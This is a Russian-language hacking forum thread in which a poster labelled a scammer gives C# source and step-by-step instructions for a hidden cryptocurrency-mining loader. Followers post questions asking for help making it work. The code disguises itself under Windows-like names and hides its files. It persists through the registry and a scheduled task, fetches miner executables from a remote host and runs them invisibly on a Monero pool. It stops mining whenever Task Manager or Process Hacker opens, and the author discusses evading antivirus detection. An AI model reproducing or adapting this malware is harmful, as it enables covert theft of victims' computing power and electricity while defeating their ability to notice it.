Как скрыть майнер на C# (CPU + GPU)

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,325
Реакции
940
Репутация
0
Всем привет


Хотел бы сегодня рассказать как создать скрытый майнер на шарпе.
Будет скрытие от диспетчеров задач и ему подобных, защита от повторного запуска, CPU, GPU, автозапуск и что то еще


Буду пытаться максимально все расписать в комментариях к коду

Создаем проект -> C# -> Консольное приложение (.NET Framework) -> Платформа ".NET Framework 4"



В класс главной программы прописываем следующие строки
Код:
static string dir = Environment.GetEnvironmentVariable("AppData") + "\\Windows Folder"; // Путь к папке  где будет храниться майнер
static string file = "Windows Service.exe"; // Имя файла майнера
Создаем следующий void, он будет проверять на наличие майнера в папке и копировать его туда в случае отсутствия, так же ставить атрибуты Hidden / System
Код:
static void CopyFile()
{
    try
    {
        if (!Directory.Exists(dir)) // Проверка на наличие папки
            Directory.CreateDirectory(dir); // Если не существует, то создаем

        if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла майнера в папке
            File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся

        File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
        File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
    }
    catch { }
}
Теперь организуем автозапуск.
Как я считаю делать автозапуск через "Автозагрузку" сейчас чуток палевно, так как это легко отключить в диспетчере.
Но вдруг кому то нужно будет, то вот:
Код:
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
key.SetValue("Windows Service", dir + "\\" + file);
Но я буду делать через "Планировщик задач", на запуск каждую минуту (если процесс запущен, то он не будет запускать повторно)
Код:
static void CreateTask()
{
    try
    {
        var startInfo = new ProcessStartInfo(); // Создаем процесс
        startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач
        startInfo.CreateNoWindow = false; // Скрываем от пользователя
        startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя
        startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска
        Process.Start(startInfo); // Запускаем
    }
    catch { }
}
Теперь на всякий случай сделаем проверку на повторный запуск
Код:
static Mutex InstanceCheckMutex;
static bool InstanceCheck()
{
    bool isNew;
    InstanceCheckMutex = new Mutex(true, "SMILEFACE", out isNew);
    return isNew;
}
Теперь перейдем к самим майнерам
Сначала реализуем скачивание нужных майнеров под пк


Подключим System.Management



Теперь вставляем данный код, чуток расписал, думаю поймете.
Нужно скачать майнеры для CPU (x32/x64) и GPU (nvidia/amd) и залить их на хост (только .exe файлы (сами майнеры))
Вы должны нажать кнопку

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Останутся вопросы, задавайте
Код:
static void Download()
{
    string host = @"http://yoursite.com/"; // Ссылка на сайт с майнерами

    if (!File.Exists(dir + "\\" + "Windows Helper.exe")) // Путь для CPU майнера
    {
        try
        {
            using (var client = new WebClient())
            {
                if (Environment.Is64BitOperatingSystem) //  Проверка на разрядность системы
                    client.DownloadFile(host + "x64.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
                else
                    client.DownloadFile(host + "x32.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
            }
            File.SetAttributes(dir + "\\" + "Windows Helper.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
        }
        catch { }
    }

    if (!File.Exists(dir + "\\" + "Windows Support.exe")) // Путь для GPU майнера
    {
        string gpuname = GpuName(); // Получаем имя видеокарты
        try
        {
            using (var client = new WebClient())
            {
                if ((gpuname.Contains("NVIDIA") || gpuname.Contains("GEFORCE") || gpuname.Contains("nvidia") || gpuname.Contains("geforce"))) // Пытаемся чекнуть от кого видеокарта
                    client.DownloadFile(host + "nvidia.exe", dir + "\\" + "Windows Support.exe");
                if (gpuname.Contains("AMD") || gpuname.Contains("amd"))
                    client.DownloadFile(host + "amd.exe", dir + "\\" + "Windows Support.exe");
            }
            File.SetAttributes(dir + "\\" + "Windows Support.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
        }
        catch { }
    }
}
static string GpuName()
{
    try
    {
        string gpuName = string.Empty;
        string query = "SELECT * FROM Win32_DisplayConfiguration";
        using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
        { foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } }
        return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
    }
    catch { return "Unknown"; }
}
Создаем 2 процесса (один для CPU второй для GPU) и данные для майнера
Код:
static string pool = "stratum+tcp://xmr.pool.minergate.com:45700"; // Пул для майнинга
static string mail = "[email protected]"; // Почта от реги на minergate
static Process proc;
static Process vid;
Теперь делаем строки которые отвечают за запуск и закрытие майнера
Код:
static void Start() // Запускаем майнеры
{
    try
    {
        proc = Process.Start(new ProcessStartInfo()
        {
            FileName = dir + "\\" + "Windows Helper.exe",
            CreateNoWindow = true,
            UseShellExecute = false,
            RedirectStandardOutput = true,
            WindowStyle = ProcessWindowStyle.Hidden,
            Arguments = $"-o {pool} -u {mail} --max-cpu-usage=95 --log-file=null -p x --donate-level=1 --algo=cryptonight"
        });
    }
    catch { }
    try
    {
        vid = Process.Start(new ProcessStartInfo()
        {
            FileName = dir + "\\" + "Windows Support.exe",
            CreateNoWindow = true,
            UseShellExecute = false,
            RedirectStandardOutput = true,
            WindowStyle = ProcessWindowStyle.Hidden,
            Arguments = $"-o {pool} -u {mail} -p x --donate-level=1 --log-file=null"
        });
    }
    catch { }
}
static void Stop() // Закрываем процессы майнеров
{
    try { proc.Kill(); } catch { }
    try { vid.Kill(); } catch { }
}
Теперь делаем скрытие от диспетчеров задач, будем смотреть как и по имени процесс, и по заголовку окна, поэтому пишем
Код:
[DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
Будем проверять на ProcessHacker и Диспетчер задач (другие можете добавить сами
)
Код:
static void LookForTaskMngr()
{
    while (true)
    {
        Process[] procs = Process.GetProcesses(); foreach (Process p in procs)
        {
            if ((Process.GetProcessesByName("taskmgr").Length > 0 || Process.GetProcessesByName("Taskmgr").Length > 0 || Process.GetProcessesByName("ProcessHacker").Length > 0) || Environment.HasShutdownStarted || FindWindow("", "Task Manager") != IntPtr.Zero || FindWindow("", "Диспетчер задач") != IntPtr.Zero)
            {
                Stop(); // Закрываем майнеры
                Environment.Exit(0); // Закрываемся
            }
        }
        Thread.Sleep(1000); // Как часто проверяем на диспетчеры (1 сек)
    }
}
Ну и все, теперь нужно все это зайдествовать
В void Main вписываем
Код:
CopyFile();
CreateTask();
if (!InstanceCheck())
    Environment.Exit(0);
Download();
Start();
LookForTaskMngr();
Теперь нужно скрыть наше окно майнера
Сверху нажимаем 'Проект' -> 'Свойства : "Имя проекта"'


Вписываем данные, компилируем, запускаем билд

Создалась задача для автозапуска

Появились файлы

Пошел майнинг



Открываем диспетчер задач, и майнинг прекращается





Что по детектам?

Чистый билд

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.


NET Reactor + иконка + манифест

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Для просмотра содержимого вам необходимо авторизоваться.
 

mamba

Активный участник
ЮБИЛЕЙНАЯ ЛЕНТА

mamba

Активный участник
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
1 Окт 2018
Сообщения
58
Реакции
15
Репутация
0
спасибо) может тему переименовать в какой ниб: "Как скрыть майнер?"
как создавать сам майнер не описывается, только как его запустить на шарпах.
Для просмотра содержимого вам необходимо авторизоваться.
 

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,325
Реакции
940
Репутация
0
спасибо) может тему переименовать в какой ниб: "Как скрыть майнер?"
как создавать сам майнер не описывается, только как его запустить на шарпах.
[Скрытый контент]
Переименовал
 

bankir0777

Новичок

bankir0777

Новичок
Регистрация
2 Янв 2019
Сообщения
3
Реакции
0
Репутация
0
Подскажите, будьте добры, какое название носят файлы майнеров, залитые на хост? Насколько я понимаю, это должны быть названия Windows Helper и Windows Support. Но как тогда реализуется скачивание нужного файла, если в одну и ту же директорию нельзя поместить два однотипных файла? Ведь майнеров для проца будет два из-за рязрядности, с видео тоже. Буду благодарен за любую помощь в этом плане! Просто сделал все по предоставленному шаблону, сборка создалась, однако скачивание необходимых файлов не происходит, поскольку не могу разобраться в коде...
 

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,325
Реакции
940
Репутация
0
Подскажите, будьте добры, какое название носят файлы майнеров, залитые на хост? Насколько я понимаю, это должны быть названия Windows Helper и Windows Support. Но как тогда реализуется скачивание нужного файла, если в одну и ту же директорию нельзя поместить два однотипных файла? Ведь майнеров для проца будет два из-за рязрядности, с видео тоже. Буду благодарен за любую помощь в этом плане! Просто сделал все по предоставленному шаблону, сборка создалась, однако скачивание необходимых файлов не происходит, поскольку не могу разобраться в коде...
Не может быть система 64 и 32 битная вместе, в принципе может быть что у кого стоит например две видеокарты вместе (AMD,Nvidia) ну сомневаюсь что ты такого найдешь.

По сути будет скачиваться только x32 или x64, и для видюхи майнер

static void Download()
{
string host = @"

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

"; // Ссылка на сайт с майнерами
if (!File.Exists(dir + "\\" + "Windows Helper.exe")) // Путь для CPU майнера
{
try
{
using (var client = new WebClient())
{
if (Environment.Is64BitOperatingSystem) // Проверка на разрядность системы
client.DownloadFile(host + "x64.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
else
client.DownloadFile(host + "x32.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
}
File.SetAttributes(dir + "\\" + "Windows Helper.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
if (!File.Exists(dir + "\\" + "Windows Support.exe")) // Путь для GPU майнера
{
string gpuname = GpuName(); // Получаем имя видеокарты
try
{
using (var client = new WebClient())
{
if ((gpuname.Contains("NVIDIA") || gpuname.Contains("GEFORCE") || gpuname.Contains("nvidia") || gpuname.Contains("geforce"))) // Пытаемся чекнуть от кого видеокарта
client.DownloadFile(host + "nvidia.exe", dir + "\\" + "Windows Support.exe");
if (gpuname.Contains("AMD") || gpuname.Contains("amd"))
client.DownloadFile(host + "amd.exe", dir + "\\" + "Windows Support.exe");
}
File.SetAttributes(dir + "\\" + "Windows Support.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
}
static string GpuName()
{
try
{
string gpuName = string.Empty;
string query = "SELECT * FROM Win32_DisplayConfiguration";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{ foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } }
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
}
catch { return "Unknown"; }
}
 
Последнее редактирование:

bankir0777

Новичок

bankir0777

Новичок
Регистрация
2 Янв 2019
Сообщения
3
Реакции
0
Репутация
0
Я полностью с этим согласен! Вопрос чуть-чуть в другом. На хосте, с которого будет идти подкачка необходимых майнеров, как они должны называться? Исходя из предоставленного кода, майнер, который скачивается, называется Windows Helper.exe. Если это так, то как тогда залить две его версии для 32 или 64 разрядных систем? Или на хосте майнеры для процесора должны носить имена x64.exe и x32.exe соответственно? Аналогичная ситуация и с майнером для видеокарты. По коду скачивается файл Windows Support.exe. Как правильно на хосте назвать майнер, Windows Support.exe или nvidia.exe или amd.exe? Если должно быть название Windows Support.exe, то как для двух версий майнеров для разных видеокарт присвоить одно и то же имя на одном и том же хосте, что бы все правильно скачивалось, ведь идет автозамена одинакового названия файла. Та же ситуация и майнерами для процессора. Именно в этом моменте я и путаюсь. Не получается указать правильное расположение к необходимым файлам на хосте, из-за чего они и не скачиваются. Буду очень благодарен за помощь!
 

bankir0777

Новичок

bankir0777

Новичок
Регистрация
2 Янв 2019
Сообщения
3
Реакции
0
Репутация
0
И, если можно, еще такой вопрос. При запуске скомпилированного билда у меня создается задание в планировщике, все как указано выше, с указанными интервалами. Однако сам файл Windows Service в указанной выше директории не появляется. После перезагрузки дедика задание в планировщике не запускается через каждую минуту, и этот файл перезапустить не может, поскольку он по указанному в планировщике пути так и не появился, а в комментариях указано, что действие прервано пользователем. В чем может быть проблема? Спасибо!
 

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,325
Реакции
940
Репутация
0
И, если можно, еще такой вопрос. При запуске скомпилированного билда у меня создается задание в планировщике, все как указано выше, с указанными интервалами. Однако сам файл Windows Service в указанной выше директории не появляется. После перезагрузки дедика задание в планировщике не запускается через каждую минуту, и этот файл перезапустить не может, поскольку он по указанному в планировщике пути так и не появился, а в комментариях указано, что действие прервано пользователем. В чем может быть проблема? Спасибо!
static void Download()
{
string host = @"

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

"; // Ссылка на сайт с майнерами
if (!File.Exists(dir + "\\" + "Windows Helper.exe")) // Путь для CPU майнера
{
try
{
using (var client = new WebClient())
{
if (Environment.Is64BitOperatingSystem) // Проверка на разрядность системы
client.DownloadFile(host + "x64.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
else
client.DownloadFile(host + "x32.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
}
File.SetAttributes(dir + "\\" + "Windows Helper.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
if (!File.Exists(dir + "\\" + "Windows Support.exe")) // Путь для GPU майнера
{
string gpuname = GpuName(); // Получаем имя видеокарты
try
{
using (var client = new WebClient())
{
if ((gpuname.Contains("NVIDIA") || gpuname.Contains("GEFORCE") || gpuname.Contains("nvidia") || gpuname.Contains("geforce"))) // Пытаемся чекнуть от кого видеокарта
client.DownloadFile(host + "nvidia.exe", dir + "\\" + "Windows Support.exe");
if (gpuname.Contains("AMD") || gpuname.Contains("amd"))
client.DownloadFile(host + "amd.exe", dir + "\\" + "Windows Support.exe");
}
File.SetAttributes(dir + "\\" + "Windows Support.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
}
static string GpuName()
{
try
{
string gpuName = string.Empty;
string query = "SELECT * FROM Win32_DisplayConfiguration";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{ foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } }
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
}
catch { return "Unknown"; }
}

Красным ето название файлов на хосте
 

Ryssa

Участник

Ryssa

Участник
Регистрация
7 Окт 2018
Сообщения
6
Реакции
6
Репутация
0
Тут всем готовый продукт подавай, а не эти ваши проекты :biggrin:
 

pavelosloa

Новичок

pavelosloa

Новичок
Регистрация
30 Авг 2019
Сообщения
1
Реакции
0
Репутация
0
Какой хост выбрать? Майнеры сами туда загрузятся, или надо самому все загружать?
 

DuDi

Участник

DuDi

Участник
Регистрация
21 Фев 2020
Сообщения
7
Реакции
0
Репутация
0
Здравствуйте!
Я так понимаю после этого пункта :
Создаем следующий void, он будет проверять на наличие майнера в папке и копировать его туда в случае отсутствия, так же ставить атрибуты Hidden / System
Должна создаваться папка в и фаил ? но этого не происходит
Что делать ??
 

DuDi

Участник

DuDi

Участник
Регистрация
21 Фев 2020
Сообщения
7
Реакции
0
Репутация
0
Доброго времени )))
Я не программист но охота изучить сею тему, ну и начал разбирать ваш код ))))) так чтобы с пользой и сразу так сказать на передовую.

После добавления в код вот этого пункта (((Будем проверять на ProcessHacker и Диспетчер задач (другие можете добавить сами )))
Винда ругается и обзывает это опасной программой )))
что посоветуете ????
 

DuDi

Участник

DuDi

Участник
Регистрация
21 Фев 2020
Сообщения
7
Реакции
0
Репутация
0
Есть еще один вопрос ))) Куда залить EXE Файлы так чтобы их адрес оставался статичным, даже после того как я перезалью это EXE с тем же именем чтобы иметь возможность обновлять версии.
??????
 

DuDi

Участник

DuDi

Участник
Регистрация
21 Фев 2020
Сообщения
7
Реакции
0
Репутация
0
ХЗ все сделал но не работает! я так понимаю что дело не в лодоре а в майнере
 

DuDi

Участник

DuDi

Участник
Регистрация
21 Фев 2020
Сообщения
7
Реакции
0
Репутация
0
не передаются аргументы майнеру ((((( подскажите что делать
гуг бессилен
 

DuDi

Участник

DuDi

Участник
Регистрация
21 Фев 2020
Сообщения
7
Реакции
0
Репутация
0
Зачем тему создавать если не смотришь за ней
 
Сверху